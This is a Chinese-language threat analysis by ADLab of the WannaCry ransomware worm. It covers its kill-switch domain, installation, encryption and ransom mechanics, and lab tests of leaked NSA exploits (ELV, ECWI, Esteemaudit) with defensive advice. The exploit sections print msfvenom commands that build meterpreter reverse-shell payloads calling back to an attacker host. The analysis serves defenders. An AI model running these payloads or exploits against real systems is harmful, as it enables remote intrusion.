作者:ADLab
“WannaCry”勒索蠕蟲爆發給互聯網造成了極其惡劣的影響,啟明星辰ADLab不僅對該事件樣本進行了詳細深入的分析,我們對漏洞補丁發布兩個月后還能形成如此嚴重的世界性網絡安全事件上進行了反思。經研究影子經紀人披露的資料里可造成類似嚴重影響的漏洞利用或工具不止一個,這些都提醒廣大用戶警惕下一個“永恒之藍”的威脅。
一、勒索蠕蟲事件回溯
近日,瘋狂肆掠的勒索蠕蟲病毒“WannaCry”席卷全球,從5月12日晚開始爆發的幾個小時內,已經有100多個國家受到攻擊。24小時內監測到的攻擊次數超過10W+,且攻擊仍在蔓延。
圖片來自網絡
據報道,至少19家位于英格蘭和蘇格蘭的NHS所屬醫療機構遭到網絡攻擊,這些機構包括醫院和全科醫生診所,目前被迫使用紙質辦公。至少1600家美國組織, 11200家俄羅斯組織和6500家中國組織和企業都受到了攻擊。 國內的重災區是校園系統、醫療系統、能源行業,以及公安辦事系統等。據悉,浙江傳媒大學、中國計量學院等多所國內大學的校園網遭受攻擊。并且在事件爆發的第二天央視對其進行了緊急報道。
據CNCERT監測發現,北京時間5月13日9時30分至14日10時30分全球約242.3萬個IP地址遭受勒索軟件“WannaCry”勒索蠕蟲病毒利用SMB漏洞攻擊,這些IP地址主要位于阿聯酋、美國、中國臺灣和俄羅斯;發動攻擊的IP地址數量近3.5萬個(可能已感染“WannaCry” 勒索蠕蟲病毒),這些IP地址主要位于中國大陸、中國臺灣、俄羅斯和阿聯酋。另監測發現5471個IP連接“WannaCry” 勒索蠕蟲病毒的內置域名及IP(可能已感染“WannaCry” 勒索蠕蟲病毒),IP主要分布在中國大陸地區的廣東、浙江、北京和上海等地。
二、反思與漏洞防范
目前各大安全廠商均已經對該勒索做了詳細分析并提出了應急處理策略,從此次事件中我們可以看出,當傳統的具有破壞敲詐性質的勒索軟件與遠程漏洞結合后所具有的破壞力是多么的嚴重,以至形成全球性的網絡安全事件。在NSA漏洞攻擊武器“永恒之藍”被公布之前一個月微軟已經發布了該漏洞布丁,然而在兩個月后,仍然能夠形成全球性的網絡攻擊事件,使得大量重要機構和大型公司遭遇到此次攻擊,尤其是被我們廣泛忽視的內網安全升級的問題,值得每一個受害者和安全人員深思。另外,不僅該事件本身值得我們去關注、重視,而且對于影子經紀人發布的其他遠程漏洞攻擊工具也應該引起我們的重視和關注,及時修補漏洞,防患于未然。
雖然“WannaCry”勒索軟件的分析報告已經非常多了,我們也將以我們視角對其進行技術剖析,然后對NSA泄露的另外幾個具有同樣危害的高危漏洞進行分析驗證并提供修補建議,防止“WannaCry”勒索軟件事件的再次出現。
三、“WannaCry”詳細逆向分析
1、開關域名
勒索軟件啟動后先嘗試連接域名“www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.co”如果,該域名能成功連接,則退出執行,否則進行感染釋放階段。這個域名就是各廠商所盛傳的開關域名。
2、傳播與感染分析
接下來勒索軟件進入感染釋放階段,首先判斷當前執行參數個數,當參數小于2個時,惡意代碼會進入到安裝階段,即創建服務名為“mssecsvc2.0”的服務并啟動執行(該服務所執行的模塊名稱即惡意代碼自身,但攜帶參數“ -m security”)。
服務創建成功后,惡意代碼會加載資源名為727的資源數據,并釋放文件到“C:\WINDOWS\ tasksche.exe”,且以-i參數運行,“tasksche.exe”主要用來加密用戶主機文件,對用戶進行勒索。(關于“tasksche.exe”的詳細分析請查看加密勒索一節)
當惡意代碼以大于2個參數運行時即通過服務以“-m security”形式運行會進入感染階段,主要是創建線程向局域網中的IP發送SMB利用代碼。
其中采用的漏洞攻擊代碼利用了基于445端口傳播擴散的“MS17-010”漏洞,2017年4月14日黑客組織“Shadow Brokers”公布的“Equation Group”組織使用的黑客工具包中包含了該漏洞的利用代碼。
3、加密模塊行為分析
當tasksche.exe首次運行時,會獲取主機名稱,并根據主機名稱生成一個唯一標識來標識被感染主機,然后檢測當前命令行是否包含參數“/i”。
如果包含參數“/i”,則將自身拷貝為文件“%ProgramData%\pgkadxaxwxtwf660\tasksche.exe”,如果“%ProgramDat%”路徑不存在則將自身拷貝為文件“C:\Intel\pgkadxaxwxtwf660\tasksche.exe”,其中目錄“pgkadxaxwxtwf660”為根據主機名稱生成的唯一標識。此標識還會被作為服務名來創建服務,服務鍵“BinaryPathName”的鍵值被設置為通過cmd進程來啟動tasksche.exe文件。
接下來,勒索軟件會嘗試打開互斥體“Global\\MsWinZonesCacheCounterMutexA”,如果能成功打開則說明以服務啟動的實例已經運行,當前實例會立即退出。當經過多輪等待仍不能打開該互斥體,當前實例會通過API CreateProcess創建不帶參數的“tasksche.exe”進程運行。
當勒索軟件以不帶參數“/i”啟動時(通過啟動服務或CreateProcess直接創建),會進入到主要的功能代碼,首先會將當前的勒索軟件執行路徑寫入到注冊表“HKEY_LOCAL_MACHINE\Software\WannaCrypt0r\wd”,然后加載名稱為“XIA”的資源,該資源為一個壓縮包文件,勒索軟件使用密碼“WNcry@2ol7”在內存中解密壓縮包,并將文件釋放到當前目錄。
其中釋放的文件包括:
關于各文件的說明如下:
該勒索軟件會將硬編碼的比特幣錢包地址寫入到c.wnry文件中。
其中該樣本的硬編碼比特幣錢包地址有三個,如下:
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
勒索軟件會執行以下命令來更改主機設置:
其中屬性命令“attrh +h”將當前目錄設置為隱藏,命令“Icacls . /grant Everyone:F /T /C /Q”是通過icacls.exe來賦予所有用戶完全訪問權限。
接下來勒索軟件會在內存中解密用來加密主機文件的加密模塊,調用該模塊的“TaskStart”開始加密主機文件。
4、加密原理分析
該勒索軟件采用RSA及AES算法完成對主機文件的加密,其中RSA采用了微軟的CrtyptAPI庫函數,AES算法代碼則通過靜態編譯到dll中。勒索軟件加密文件采用的算法為AES,但是該AES密鑰被RSA加密。
首先勒索軟件通過CryptGenRandom隨機生成一個128位的AES密鑰,然后用該密鑰加密用戶的文件,再使用RSA公鑰將生成的AES密鑰進行加密,并將加密后結果保存到加密文件的開頭部分。對于不同的文件該勒索軟件使用不同的AES密鑰。
生成密鑰并通過RSA加密:
文件加密過程:
加密后的文件內容:
該勒索軟件在加密用戶文件時,會避開含有以下字符的目錄,防止無效加密。
\Intel
\ProgramData
\WINDOWS
\Program Files
\Program Files (x86)
\AppData\Local\Temp
\Local Settings\Temp
當加密完成后該勒索軟件會顯示以下勒索聲明,與以往勒索軟件不同的是,該勒索聲明是一個可執行程序,而不像以前勒索軟件通過圖像或網頁文件。
該勒索軟件會加密以下擴展名文件:
docx.docb.docm.dot.dotm.dotx.xls.xlsx.xlsm.xlsb.xlw.xlt.xlm.xlc.xltx.xltm.ppt.pptx.pptm.pot.pps.ppsm.ppsx.ppam.potx.potm.pst.ost.msg.eml.edb.vsd.vsdx.txt.csv.rtf.123.wks.wk1.pdf.dwg.onetoc2.snt.hwp.602.sxi.sti.sldx.sldm.sldm.vdi.vmdk.vmx.gpg.aes.ARC.PAQ.bz2.tbk.bak.tar.tgz.gz.7z.rar.zip.backup.iso.vcd.jpeg.jpg.bmp.png.gif.raw.cgm.tif.tiff.nef.psd.ai.svg.djvu.m4u.m3u.mid.wma.flv.3g2.mkv.3gp.mp4.mov.avi.asf.mpeg.vob.mpg.wmv.fla.swf.wav.mp3.sh.class.jar.java.rb.asp.php.jsp.brd.sch.dch.dip.pl.vb.vbs.ps1.bat.cmd.js.asm.h.pas.cpp.c.cs.suo.sln.ldf.mdf.ibd.myi.myd.frm.odb.dbf.db.mdb.accdb.sql.sqlitedb.sqlite3.asc.lay6.lay.mml.sxm.otg.odg.uop.std.sxd.otp.odp.wb2.slk.dif.stc.sxc.ots.ods.3dm.max.3ds.uot.stw.sxw.ott.odt.pem.p12.csr.crt.key.pfx.der。
5、支付贖金解密分析
該勒索軟件程序中內置了其中一個公鑰的配對私鑰,可以用于解密,該密鑰用來向用戶展示程序能夠成功解密文件引導用戶支付。
該勒索軟件進行解密時會判斷本地是否存在“00000000.dky”文件,該文件為解密所需要的私鑰文件。若存在,則嘗試解密文件來判斷密鑰是否正確。
若密鑰錯誤,勒索軟件會創建taskhsvc.exe與C&C服務器進行通信,向C&C查詢付款信息,若用戶已經成功支付,當用戶擊Check Payment按鈕會向服務器查詢付款信息,若用戶成功支付,則服務器會返回私鑰文件,通過該私鑰文件即可對加密的文件進行解密。
四、下一次勒索?
勒索是最終的目的,而漏洞是其中的先決條件,影子經紀人曝出的漏洞很多都很有殺傷力,每一個都可能成為下一個“永恒之藍”的載體,下面我們拿其中幾個版本為例,給出一部分漏洞的驗證、檢測和防御建議。
1、ELV
(1)工具簡介
ELV 2.13工具(Resources/LegacyWindowsExploits/Exploits/ELV 2.13)利用SMB協議存在的漏洞,允許攻擊者在遠程機器上執行任意代碼。
(2)攻擊對象
Windows NT 4.0
Windows 2000
Windows XP (SP1 and below)
Windows Server 2003 (Base release)
(3)功能分析
ELV.exe有兩種運行模式:Probe和Exploit。Probe模式用于檢測斷目標機是否存在漏洞。
Probe模式的運行參數:
Exploit模式的運行參數:
(4)漏洞驗證
驗證環境:
Exploit模式:
kali:運行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.130 LPORT=8089 -f dll > reverser_tcp.dll”,生成reverser_tcp.dll。然后在本地監聽8089端口。
win7:運行ELV.exe,參數如下所示。(其中reverser_tcp.dll由kali生成。)
攻擊成功,反彈shell到kali機器上。
(5)漏洞檢測
使用Probe模式進行漏洞檢測與掃描:
檢測目標機為windows 2000,系統存在該漏洞。
(6)防御建議
防火墻屏蔽445,139端口
關閉SMB服務
2、ECWI
(1)工具簡介
ecwi工具(Resources/LegacyWindowsExploits/Exploits/ECWI)利用SMB協議存在的漏洞,成功利用允許攻擊者在遠程機器上執行任意代碼。
(2)攻擊對象
Windows 2000
Windows XP
Windows Server 2003
(3)漏洞驗證及分析
驗證環境:
通過Resources\Tools\rpc2.exe可以探測目標主機是否存在漏洞,可以通過該程序來檢測目標機器是否存在漏洞。
運行如下參數執行漏洞利用流程,其中lp.dll來自Resources\Pc\i386-winnt目錄下的PC_Exploit.dll。
在執行ecwi之后主機會向目標機發送攻擊數據包觸發漏洞。
之后將shellcode復制到地址為680312c0的堆上用于,并劫持程序流程。由于環境及其他原因shellcode并未成功布局在堆上,漏洞復現未成功,但是我們可以看到漏洞利用程序已經成功劫持了程序流程。
(4)漏洞檢測
通過ff 53 4d 42來確認SMB包,之后定位到smb接受的數據,在數據中可以通過如下字段來檢測進攻。
(5)防御建議
防火墻屏蔽445,139端口
關閉 SMB服務
3、Esteemaudit
(1)工具簡介
Esteemaudit(\windows\exploits\Esteemaudit-2.1.0.exe)是一個通過3389端口遠程溢出程序。3389端口是遠程桌面的服務端口,它使用RDP協議進行通信。Esteemaudit利用RDP協議的缺陷來攻擊受影響的系統。
(2)攻擊對象
Windows XP sp0-sp3
Windows Server 2003 sp0-sp2
(3)漏洞驗證
驗證環境:
Exploit模式:
kali:運行“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.69.143 LPORT=4444 -f dll > RDP.dll”,生成RDP.dll。然后在本地監聽4444端口。
Win10:運行use Pcdlllauncher ,參數如下所示,其中RDP.dll由kali生成。
攻擊成功,反彈shell到kali機器上。
(4)漏洞檢測
使用Esteemaudit 掃描目標主機。
Esteemaudit 選擇目標系統:
Esteemaudit 設置注入dll:
Esteemaudit 設置目標ip和端口、本地ip和端口:
配置如下:
Esteemaudit 執行成功。
即可判定目標系統存在漏洞。
(5)防御建議
防火墻屏蔽3389端口
升級到新版本系統